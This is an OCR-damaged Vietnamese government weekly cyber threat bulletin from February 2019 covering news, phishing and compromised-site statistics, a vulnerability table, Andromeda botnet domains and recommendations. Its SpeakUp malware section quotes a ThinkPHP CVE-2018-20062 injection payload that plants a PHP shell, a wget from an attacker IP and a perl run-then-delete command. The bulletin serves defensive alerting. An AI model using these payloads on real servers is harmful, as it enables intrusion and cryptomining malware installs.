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(tir ngay 11/02/2019 den ngay 17/02/2019)

BANG TONG HQP

1. Nghi vién Nga da bd phiéu cho mét Dy luat cAm cac si quan, binh linh
phuc vu trong quan ddi st dung dién thoai thong minh khi dang lam nhiém
vy, sau khi nhitng hoat dong trén mang xa hdi cuia ho gay anh huéng té1 an
toan, an ninh quc gia.

2. Chinh phti Thuy Si s& md hé théng bau cir online ciia ho dé kiém tra d an
toan trudc cac cudc tin cong mang. Hién tai, co quan chirc ning da c6 thong
béo khuyén khich cac doanh nghiép va cic chuyén gia vé an toan thong tin

thir tAn cong vao hé thong.

3. Cac nha nghién clru cia hang bao mat Check Point da phat hién ra mot

chién dich khai thac cac may chu Linux sir dung mot phan mém gian di€p

ma&i, nham tron tranh tat ca cac giai phap bao mat.

4. Bao co duoc xdy dung dya trén cac ngudn thong tin thu thap duogc tir hé
théng phan tich va chia sé nguy co tin cong mang Viét Nam
(https://ti.khonggianmang.vn). Thong tin chi tiét vé Hé thong tai Phu luc
kém theo.

1. Piém tin dang chi y

1.1. Nghij vién Nga di bo phiéu cho mot Dy luat cdm cac si quan, binh
linh phuc vu trong quan doi str dung dién thoai thong minh khi dang lam nhiém
vu, sau khi nhirng hoat dong trén mang xa hdi ctia ho gy anh hudng tdi an toan,
an ninh quéc gia. Dy luat cAm thanh vién quan doi st dung cac loai dién thoai di
déng c6 kha ning chup anh, quay video va két ndi véi internet.

Hoat dong trén mang xa hdi cua cac thanh vién trong quan doi Nga da tao
diéu kién cho céc trang thong tin m¢ nhu Bellingcat diéu tra va 1am 10 lot bi mat
vé céc hoat dong cta quan doi Nga. CAc nha lanh dao Nga cho rﬁng viéc ban


https://ti.khonggianmang.vn/

hanh Luéat nay la can thiét dé bao vé thong tin quan doi khéi sy do tham cua céc
t6 chuc tinh bao nudc ngoai.

Trong mdt vai ndm tré lai day, cac bai dang trén mang xa hoi ctia cac binh
linh da tiét 16 cac thong tin vé hoat dong ctia quan doi Nga. Tir nam 2017, binh
linh Nga d3 dugc canh bao vé viéc chia sé bat cir thong tin gi trén mang, ké ca
anh selfies.

1.2. Chinh phu Thuy Si s& md hé théng bau cir online cta ho dé kiém tra
dd an toan trudc cac cude tan cong mang. Hién tai, co quan chirc nang da co
thong bao khuyén khich c4c doanh nghiép va c4c chuyén gia vé an toan thong
tin thir tAn cong vao hé thong.

Thoi gian cho phép kiém tra tham nhap cong khai s& dugc to chirc tir ngay
25/02/2019 dén ngay 02/3/2019 cung voi phan thuong 14 tién mit tir 100 dén
50000 d6 la My tuy theo murc d6 va kha nang tham nhap, cu thé

Danh muc Tién Thuong
Stra d6i nho 100
Truy cép vao hé théng 1,000
Lam cho hé thdng hay phiéu bi hong 5.000
Panh cap thong tin phiéu bau 10.000
Thay d6i s6 phiéu (bi phat hién) 20.000
Thay d6i s6 phiéu (khong bi phat hién) 30.000 - 50.000

Mot cude bo phiéu thir s& duge to chirc vao ngay cubi cing cta bai kiém
tra, 24/3. Tuy nhién, ngudi tham gia co6 thé tin cong hé théng bat ctr lic nao.

Pé tham gia, cic doanh nghiép va cac chuyén gia phai ding ky trudec.
Viéc dang ky s& cung cdp cho ngudi tham gia quyén hop phap dé tin cong hé
thong va dam bao phan thudng tién mat sé& dén tay nhitng ngudi dau tién bao cao
van dé. Ngoai ra, mot bo luat quy tac va han ché doi v6i nguoi tham gia cudce thi
cling s€ dugc ap dung. Vi du nhu: nguoi tham gia khong dugc phép thuc hién
cac cudc tan cong c6 thé gay hai cho thiét bi c4 nhan cua cir tri hodc tin cong
cac hé thdng khdng lién quan, tdn cong nha san xuat hé théng bo phiéu dién tur.

Co quan chtrc nang cua Thuy Sy cling da thué mot doanh nghiép lam bén
thir ba doc 1ap dé xac minh cac bao céo 16 hong ma ngudi tham gia gui.



1.3. Cac nha nghién ctru cua hang bao mat Check Point da phat hién ra
mot chién dich khai thac cac may chii Linux sir dung mot phan mém gian diép
moi, nham tron tranh tit ca cac giai phap bao mat. Phan mém gian diép mai,
dugc dat tén 1a SpeakUp, khai thac cac 16 hong da biét trong sau ban phan phéi
Linux khac nhau. Cudc tin cong du kién nhdm muc tiéu cac may chu & khu vuc
Pong A va My Latinh, va bao gdm ca cac may chu luu trit cia Amazon (AWS).

SpeakUp hoat dong, 13y lan bang cach truyén cac géi tin quang ba trong
mang 1ndi bd va cb ging két ndi rong hon dén cac dai IP méi, sau d6 khai thac
cac 16 hong co thé thuc thi tir xa
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Qua trinh lay lan theo ngay

Ban déu cac 1ay nhiém dang nhim muc tiéu 16 hong duoc bo cao gan day
trong ThinkPHP va sir dung cac k¥ thuat tiém Iénh dé tai 1én mot doan ma chay
PHP st dung dé thuc thi mot ctra hau ting dung Perl.

Qua trinh khai thac gdm 3 budc:

1. Khai thac 16 hong qua diém yéu di duoc cong bé ThinkPHP (CVE-
2018-20062) dé tai 1én doan ma thuc thi (PHP shell)

Str dung mdt 1énh yéu cau GET, thuc thi 1énh tir xa khai thic ThinkPHP
(CVE-2018-20062) dé giri ¢én may cha muc tiéu, ndi dung nhu sau:

s=/index/\think\app/invokefunction&function=call_user_func_array&var
s[0]=system&vars[1][]=echo N php $action =
$ GET/[ ‘module’];system($action);? *>>index.php

This shell executes commands sent via the “module” parameter in a
query.


https://2.pik.vn/20193fb09402-961f-45b3-a02c-5d17c4e8f9f5.png

2. Hoat dong dé hd tro ctra hau

Mot yéu cau HTTP khac duoc giri dén may cha muc tiéu, v6i ndi dung
Sau:

/?module=wget hxxp://67[.]209.177.163/ibus -0
/tmp/e3ac24a0bcddfacd010a6¢10f4a814bc

Viéc tiém nhiém duoc thue hién dé kéo cac payload va luu trit chung trén
/tmp/e3ac24a0bcddfacd010a6c¢10f4a814bc

3. Tién hanh hoat dong

Viéc thuc thi dugc thuc hién bﬁng cach st dung mot yéu ciu HTTP bd
sung:

/?module=perl /tmp/ e3ac24a0bcddfacd010a6¢c10f4a814bc;sleep 2;rm -rf
/tmp/ e3ac24a0bcddfacd010a6¢10f4a814bc

Lénh thyc thi tp perl nay s€ dat né vao trang thai sleep trong 2 gidy va
sau d6 sé& xoa tép dé x6a bang chimng.

MAu ma cac chuyén gia hang Check point sir dung dé phan tich duoc thay
nhim muc tiéu vao mot may & Trung Qudc vao ngdy 14 thang 1 nam 2019 va
lan dau tién duoc gui toi VirusTotal vao ngdy 9 thang 1 nam 2019. Tai thoi
diém viét bai viét nay, phan mém van chua dugc phat hién trong cac giai phap
trong VirusTotal.

No engines detected this file °
SHA-256 bd7b4c8112eb33fd1d190dda1 7a63e32206febde20c9f28f4edd 14d37afe04a3
bus
79.14 KB
0/59 Xy

s 2019-01-09 10:57:28 UTC
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Cac gidi phap bao mdt khong phat hién dwoc SpeakUp trong Virus Total



SpeakUp sir dung céac giao thirc POST va GET qua HTTP d¢é lién lac véi
may chu diéu khién (C&C) chinh cua nd, tai dia chi speakupomaha [.]Jcom.

Goi POST dau tién giri ID nan nhan va nhiéu thong tin gii thiéu nhu
phién ban hién tai cta tap 1énh duogc cai dat. (Hién tai la 1.0.4)

Phan hdi C&C dau tién ngay lap tirc 1 “needrgr”, nghia 14 nan nhén bj
nhiém madi vao may chu va can dang ky.
Sau d6, phan mém gian diép nay bat dau day cac thong tin day da vé thiét
bi bang cach thyuc hi¢n cac 1énh LINUX sau:
« Uname (-r, -v, -m, -n,-a, -S)
« Whoami
. Ifconfig —a
« Arp-a
« cat /proc/cpuinfo | grep -c “cpu family” 2>&1
« who-b

Sau khi qua trinh dang ky hoan tat, SpeakUp lién tuc lién lac véi C&
Cctia minh cho cac nhiém vy mdi trén khoang thoi gian c¢b dinh.

Céc loai 1énh sau day c6 san bai C & C:

o Nhi€ém vy méi (newtask) - Thuc thi ma tuy y trén may cuc bd, tai xuéng
va thuc thi mot tép tir bat ky may chu tir xa ndo, tat hodc gd cai dat
chuong trinh va gui dir liéu dugc cap nhat.

« Khong c6 nhiém vu (notask)- Dimng trong 3 gidy va yéu cau thém lénh.

o Cap nhat cu hinh (newerconfig) - Cip nhat tép cau hinh khai thac da tai
xuong.

Hié¢n tai, SpeakUp hd tro phuc vu cac cong cu khai thac XMRig cho cac
may chu bi nhiém. Theo XMRHunter, vi tién cta phan mém gian diép nay co
tong cong khoang 107 ddng Monero

K¥ thuat 1ay lan va an céc payload ciia SpeakUp hudng t6i viéc vuot qua
moi nghi ngo, sy ngan chan mbi de doa 16n hon. Viéc xay dung mdt ph?m mém
gian di€p cong phu va phirc tap nhu vay chi dé trién khai mot vai cong cu khai
thac 1a khong phu hop. Cac mdi nguy hai dang sau chién dich nay c6 thé tai bat
ky thoi diém nao khi cac may chu diéu khién trién khai cic ma thuc thi, payload
bd sung. Ngoai kha ning do quét mang ndi bd va cac mang 1an can clia mot may



chu bi nhidm va chiing c6 thé phan phéi, 1dy nhidm cac phin mém doc hai khéc
nhau.

Thong tin k¥ thuét tham khao tai:

https://ti.khonggianmang.vn/dashboard/news/p/Phan-mem-gian-diep-
SpeakUp/

2. Tinh hinh tan cong gay nguy hai trén cac trang web tai Viét Nam

Qua theo doi, trich Xuét thong tin tur hé théng k¥ thuat thoi gian qua, Cuc
ATTT nhan thay trén khong gian mang dang ton tai nhiéu trang web Viét Nam
(bao gdm ca nhing trang web str dung dich vu may chi nuéc ngoai) bi tan cong,
loi dung dé thuc hién cac hanh vi gy mat an toan théng tin nhu: phat tan thu
rac; tan cong tir chbi dich vuy; cai dat va phat tan cac loai ma doc (gan day nhat la
cai dat va phat tan ma doc dé dao tién 40); luu trit cac ma khai thac diém yéu 15
hong mot cach ty dong (nhu 16 hdng trén trinh duyét hay cac thanh phan mo
rong cua trinh duyét ma nguoi dung st dung .v.v...).

Trong tuan, Cuc ATTT ghi nhan ¢4 it nhat 49 duong dan (URL) trén céac
trang web tai Viét Nam bi tan cong, loi dung dé thuc hién cac hanh vi gay méat
an toan thdng tin. Trong do, thong k&, phan loai cac duong dan nay theo loai
ting dung may cha web ( IIS, Apache ...) va nha cung cip cu thé nhu sau:

Théng ké sb luong URL bj tin cong theo tmg dung may chu web

LiteSpeed
Nginx

Microsoft-11S

s
=
6
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Théng ké s6 lwong URL theo tén mién
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3. Tinh hinh tan c6ng lira dao (Phishing) trong tuin
3.1. Qua thu thap, theo déi, trich xuat tir hé théng ky thuat, Cuc ATTT
con ghi nhan c6 it nhat 85 trang web dit tai Viét Nam bi loi dung dé thuc hién

tan cong Phishing trong tuan.

Théng ké s6 luong céc trang web phishing trong tudn

\V

®m NhanHoa m VNPT mFPT m SUPERDATA m Viettel mDVS

mCcMC mODS mQTsc GMO-Z m ODS B T8 chire khac

3.2. Trén thé gidi c6 nhidu cc trang web gia mao cac to chuc, doanh
nghiép, nha cung cép, dich vu 16n nhu: Cac mang xa hdi, ngan hang, thu di¢n

tor..v.v...



Top 10 nha cung cép, dich vu bi giad mao nhiéu nhat trong tuan
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Viét Nam c6 nhiéu ngudi dung cac dich vu, tng dung nudc ngoai (ca
mién phi va c6 phi) nhu cdc mang xa hdi, Dropbox, Paypal ..v.v... vi vy ngudi
dung can phai hét stic canh gidc véi nhitng trang web gia mao dé an trom tai
khoan.

4. L6 hong/diém yéu an toan thong tin trong tuan

4.1. Trong tuan, cac t6 chirc qudc té di cong bd va cap nhat it nhat 206 15
hong, trong d6 c6 30 15 hong mirc cao, 68 16 hong mirc trung binh, 15 15 hong
murc thap va 93 16 hong chua danh gia; it nhat 24 16 hong cho phép chén va thuc
thi mai 1énh, 06 16 hong da c6 ma khai théc.

4.2. Hé théng k¥ thuat cia Cuc An toan thong tin chii dong ra quét trén
khong gian mang Viét Nam, danh gia, thong ké cho thiy c6 06 nhom 156 hong
trén cic san pham, dich vu CNTT pho bién, c6 thé gay anh huong 16n dén ngudi
dung ¢ Viét Nam, nhu: Nhém 23 15 hong trén hé diéu hanh Android; Nhém 12
16 hong trén mot sé san pham, ang dung caa SAP ..v.v.

4.3. Chi tiét vé thong tin mot sd 16 hong trén cac san pham/dich vu phd

bién tai Viét Nam cu thé nhu sau:

sTT|San Pham/ | yps 15 qudc té Mo ta ngan Ghi cha
dich vu

CVE-2019-7736  |[Nh6ém 10 16 hong trén ,

1 | D-Link : At <& dong thidt bi|CU2 €0

CVE-2019-8312 frimware not so6 dong thiét bi théng tin




CVE-2019-8319

cua Dlink (600M C1 3.04,
DIR-878, DIR-823G, DIR-
878) cho phép ddi tuong tan
cong truy cap truc tiép vao
trang wanhtm thay doi
thong tin cau hinh trén thiét
bi, chén va thuc thi Iénh tay
¥ dé chiém quyén kiém soéat
thiét bi.

D-Link Ia mét trong nhitng
thiét bi Moderm phat Wifi
ding nhiéu trong ho gia dinh
va doanh nghiép vira va nho
hay c6 16 hong nhung lai
khong co6 théng tin xac nhan
va ban va kip thoi tor nha
cung cap san pham.

xac nhan
va ban va

CVE-2018-11962

Nhoém 23 16 hdng trén hé

diéu hanh Android cho phép [Pa ¢
Google |CVE-2018-9587  |46i twong tan cdng thyuc hién|thdng tin
Android |CVE-2018-9592  |dé thu thap théng tin, chén|xac nhan
va thuc thi ma Iénh, tan cong|va ban va
leo thang.
CVE-2019-7739  |Nhém 06 16 hong trong phan
CVE-2019-7741 E“éml q”}f‘” t}rli r(‘i@,i dunglpz o
oomla cho phép doi tuong|iha i
Joomla |CVE-2019-7744 |4 ¢ong thyc hién khai thac tx*;%”g thﬂz
16i XSS thong qua nhiéu s pan va
thanh phan khac nhau
Nhém 05 16 hong trén mot
sd san pham, ung dung cua
IBM (QRadar SIEM,
CVE-2019-4059 InfoSphere Information
Server, Rational ClearCase)Pd  ¢o
IBM CVE-2018-1727 | oo pheép déi tuong tan cong thong tin
CVE-2017-1695 [thuc hién mot s6 hinh thieXac nhan
tAn cong gdm: giai ma dir|vabanva

liéu (do su dung giai thuat
mi hoa yéu), thu thap thong
tin quan trong, bao gdm ca
co s6 dur liéu luu trir mat




khau thong qua  cic
connector.

Nhém 12 15 hong trén mot
sé san pham, tng dung cua
SAP gom (ABAP Platform,
BusinessObjects, Disclosure

Management, Fiori
CVE-2019-0265 Launchpad, HANA | - .
... |ba co
CVE-2019-0258 Extended Application thong  tin
5 SAP Services, SAP e Nhan
CVE-2019-0251 Manufacturing  Integration| . ., "
va ban va

and Intelligence...) cho phép
ddi tuong tan cong thuc hién
khai thac 16i XSS, thu thap
thong tin, dua tap tin doc hai
1én hé théng, tan cong leo
thang

L5 hong trong phim mém
Winrar cho phép dbi tuong
tan cong thi ma lénh
Anh huéng toi phién banlps
_ Winrar 5.60 va cac phién thong tin
6 Winrar |CVE-2018-20250  |ban truéc d6. Trong tuin 6 x4c  nhan
cling ¢6 16 hong CVE-2018- |3 han v4
20253 cho phép thuc thi méa
lénh. Anh huong tsi phién
ban WIinRAR 5.70 Beta 1 va
cac phién ban trudc do.

5. Hoat ddng mot s6 mang botnet, APT, mi doc tai Viét Nam
5.1. Mang botnet Andromeda

Botnet Andromeda, con dugc goi 1a Win32/Gamarue da bat dau xudt hién
va lay nhiém vao cdc may tinh tir naim 2011. Ddi tugng chinh cua cudc tan cong
ma ddc nay la cac doanh nghiép sur dung thé thanh toan.

Muc dich chinh cia Andromeda botnet 13 dé phét tan cac dong ma doc
khac nham phuc vu cac cudc tAn cong phén mém doc hai toan cau. Mang botnet
Andromeda bao gém va ¢o lién quan dén it nhat 80 ho phén mém doc hai, trong
do chu yéu 1a ho ma ddc Point of Sale (POS), vi du nhu GamaPOS. Trong sdu
thang cubi nam 2017, né di bi phat hién 1ay nhiém khoang hon 1 triéu may tinh
moi thang.
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Ma ddc Andromeda c6 cac chirc nang chinh nhu: Keylogging; RootkKit;
Truy cip tir xa an; Thu thap thong tin dang nhap tir trinh duyét.

Céc t chirc qubc té ciing di hop tac véi nhau dé ngan chin cac may chu
va khoang 1500 tén mién doc hai dugc st dung dé phat tan va kiém soét mang
botnet nay.

Tai Viét Nam, s6 lugng may tinh nam trong mang botnet Andromeda van
con rat nhidu trong tudn ma Cuc An toan thong tin dang theo doi.

Thong ké s6 luong IP nam trong mang botnet Andromeda

60
60

50
40
30

20
13

0 /\ /\ 3

SCTV «™ 1
VNPT FPT - /56 lvong IP

Viettel
TLSOFT

ESCTV EVNPT FPT M Viettel MTLSOFT

5.2. Danh sach IP/tén mién may chi diéu khién ctia mang botnet Andromeda

TT Tén mién/IP

1 hvjhtwgfrskcivax.com

2 xmwgcpluijyhpyolms.com

3 xtugqcjxcpnjgknj.com

5.3. Danh sach IP/tén mién doc hai c6 nhiéu két ndi tir Viét Nam

TT Tén mién/IP

1 plpanaifheaighai.com

2 n.hmiblgoja.ru
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mokoaehaeihgiaheih.ru

kisssweetchick.com

o | 01| | W

mel.cloudcontentsmak.com

7 43trfdsds.com

strikotunrev.top

9 bszotsjovih.com

10 iuefgauiaiduihgs.com

6. Khuyén nghi ddi véi cac co quan, don vi

Nham bao dam an toan thong tin trong hé thong mang cila cic co quan, to
chtrc, Cuc An toan thong tin khuyén nghi:

- Nham tranh viéc bi cac dbi tuong tan coéng loi dung cac trang web dé
thuc hién cac hanh vi gy mat an toan thong tin nhu da néu trong muc 2, Cac co
quan to chtic can phai thuong xuyén kiém tra, ra soat may chu web dé kip thoi
phat hién va cdp nhat cac diém yéu, 156 hong trén cac mdy chu web thudc co
quan, to chirc minh

- Ngudi dung can phai hét sire canh giac voi nhitng trang web gia mao dé
an trom tai khodn, dac biét 1a cac trang web gid mao cac ung dung, dich vu phé
bién nhu d néu trong muc 3.2 bao céo nay.

- Theo ddi va cép nhit ban va cho céc 16 hong, dic biét 1a 16 hong néu tai
muc 4.3 bao cao nay.

- Chu dong kiém tra, ra soét, boc g0 ma ddc ra khoi hé théng mang. Cuc
An toan san sang phdi hop véi cac co quan to chire tién hanh kiém tra va boc g&
ma doc botnet trén hé théng cua co quan don vi. Pé xac minh cac may tinh bi
nhiém mé doc botnet, Quy don vi c6 thé lién hé véi Cuc An toan thong tin theo
thong tin bén dudi dé phdi hop thuc hién.

- Kiém tra va xtr 1y cac thiét bi trong toan bo h¢ théng mang néu c6 diu
hiéu két ndi dén cac tén mién doc hai Cuc An toan théng tin d chia sé, dic biét
1a cac tén mién da néu trong muc 5.2 va 5.3 bao céo nay.
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Thong tin lién hé Cuc An toan thong tin, ting 8, s6 115 Tran Duy Hung,
quan Cau Gidy, TP. Ha Noi; sb dién thoai: 024.3943.6684; thu dién tir

ais@mic.gov.vn.
Tran trong./.

Noi nhdn:

- Bo truong va cac Thir truong (dé b/c);

- Thu ky Lanh dao Bo;

- Bon vi chuyén trach vé CNTT cac bo, nganh;
-S& TT&TT cac tinh, thanh phé true thudc TW;
- Cuc KSTTHC, Vén phong Chinh ph;

- Vu Khoa gido - Van xa, Van phong Chinh phu;

- Trung tdm CNTT, Vén phong Trung wong Dang;

- Trung tdm CNTT, Véan phong Quoc Hoi;

- Trung tdm CNTT, Van phong Chu tich nudc;
- Cac Tap doan kinh té; Téng cong ty nha nudc;
T4 chire tai chinh va Ngan hang;

- Co quan, don vi thugc Bo;

- Lanh dao Cuc;

- Luu: VT, NCSC.
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KT. CUC TRUONG
PHO CUC TRUONG

(email)

Nguyén Huy Diing



PHU LUC

Hé thong phan tich va chia sé nguy co tin cong mang Viét Nam

https://ti.khonggianmang.vn

Phishing cases

HE THONG PHAN TiCH
VA CHIA SE NGUY CO
TAN CONG MANG VIET NAM

Vietham Threat Intelligence Portal

GIGI THIEU VE HE THONG

Hé théng phan tich va chia sé nguy co tdn cong mang Viét Nam la hé théng cho phép
thu thap, phan tich va chia sé théng tin truc tiép vé ddu hiéu, nguy co va cudc tan
cong mang dang xay ra trén hé théng ctia cac co quan, don vi. Muc tiéu clia hé théng
nham tang cuong viéc két noi chia sé thong tin gilra cac co quan, don vi, toé chuc.

PIEM NOI BAT CUA HE THONG

Khi truy cap vao hé théng, cac co quan, don vj sé dugc chia sé cac thong tin theo thai gian
thyrc vé: cac dau hiéu, hinh thirc tdn cong mang trén hé théng thong tin cia minh dugc

Cuc An toan théng tin téng hgp, phan tich va xtr ly tir nhiu t6 chirc trén thé gidi.

@ Capnhatlién tuc nguy co tan cdng mang:

khiér XC, IP, Hash @dc hai (APT, Botnet, Phish

au o Viet -]

@ Giam sat va canh bao sém tan cong mang: Giam

THONG TIN LIEN HE

Email: ais@mic.govvn | Website: Khonggianmang.vn
Phone: +84 24 3209 6789 | Fax: +84 24 3209 6789
Address: Tang 8 - 115 Tran Duy Hung - Cau Gidy - Ha NGi
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THONG TIN CAP NHAT

Hé théng lién tuc cap nhat va chia
sé cac thdng tin vé nguy co tan cdng
mang déi véi Viét Nam.

</

DU LIEU PA DANG

Dir liéu dugc téng hop tir cac té chirc
Qudc té, Viét Nam, tir cac sensor,
honeypot,...

<

CANH BAO TUC THi

Hé théng canh bao sdm cac tan cong
va canh béo cac két néi bat thudng
tir hé théng mang té chuc.



https://ti.khonggianmang.vn/
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CAC NOI DUNG CUA

DICH VU

HOAT PONG CUA CHUNG TOI

Al

Giam sat ATTT

Canh bao sém ATTT

HOo tro cac to chirc canh bao sém Thure hién cung cap dich vu giam

cac nguy co tan cong mang. sat ATTT tir xa va tong the.

ORGANIZATION

Danh cho T6 chuc

GOVERMENT

Danh cho cd quan Chinh phu

Panh gia ATTT

Ung dung, Ha tang, Kién truc...

Xt ly tdn céng mang

Cung cap dich vu danh gid ATTT tr  H6 trg xr ly tdn cédng mang cuc bo

va trén dién rong cho cac to chirc.

ENTERPRISE

Danh cho Doanh nghiép

e Danh sach may chu diéu khién
doc hai.

e Danh sach IP doc hai.

e Danh sach ma hash doc hai.

¢ Danh sach website |lra dao.

e Thong tin ATTT cap nhat.

e Bio cdo téng hop hang tuan.

o Day du théng tin cua tai khoan
Organization.

e Cap nhat diém yéu, 16 hdng nguy
hiém va phé bién dai vai Viét Nam.
e Giam sat tinh trang Up/Down
ctia hé théng.

o Giam sat va canh bao vé ma
doc/ backlink trén Website.

e Canh bao cac tan cong mang vao
hé théng cong khai ctia té chirc.

e Canh bao cac két ndi bat
thudng, dang ngd tir hé théng clia
té chirc.

e Canh bao turc thi qua Email.

e Hb tro ky thuat qua Email

LIEN HE DANG KY SU DUNG:

e Pay du théng tin cla tai khoan
Goverment.

e Danh sach domain ddc hai C&C
dugc str dung tan céng APT vao
Viét Nam.

e Danh sach IP, Hash st dung tan
cong c6 chu dich APT vao Viét
Nam.

e Cap nhat cac thong tin co lién
quan dén toé chirc, website gid mao
t6 chirc...néu co.

e Cap nhat cac tin tirc, phan tich
ky thuat méi nhat vé tan cong cé
cht dich APT.

¢ Danh gia cac diém yéu, 16 hong
bao mat dinh ky déi vdi cac hé
théng cong khai (IP va Domain)
clia to churc.

e Canh bao tirc thi qua SMS.

o Hb tro ky thuat qua Email.

o Hb tro ky thuat Hotline.

Email: ais@mic.gov.vn | Website: Khonggianmang.vn | Phone: +84 2
Address: 115 - Tran Duy Hung - Cau Giay - Ha Noi
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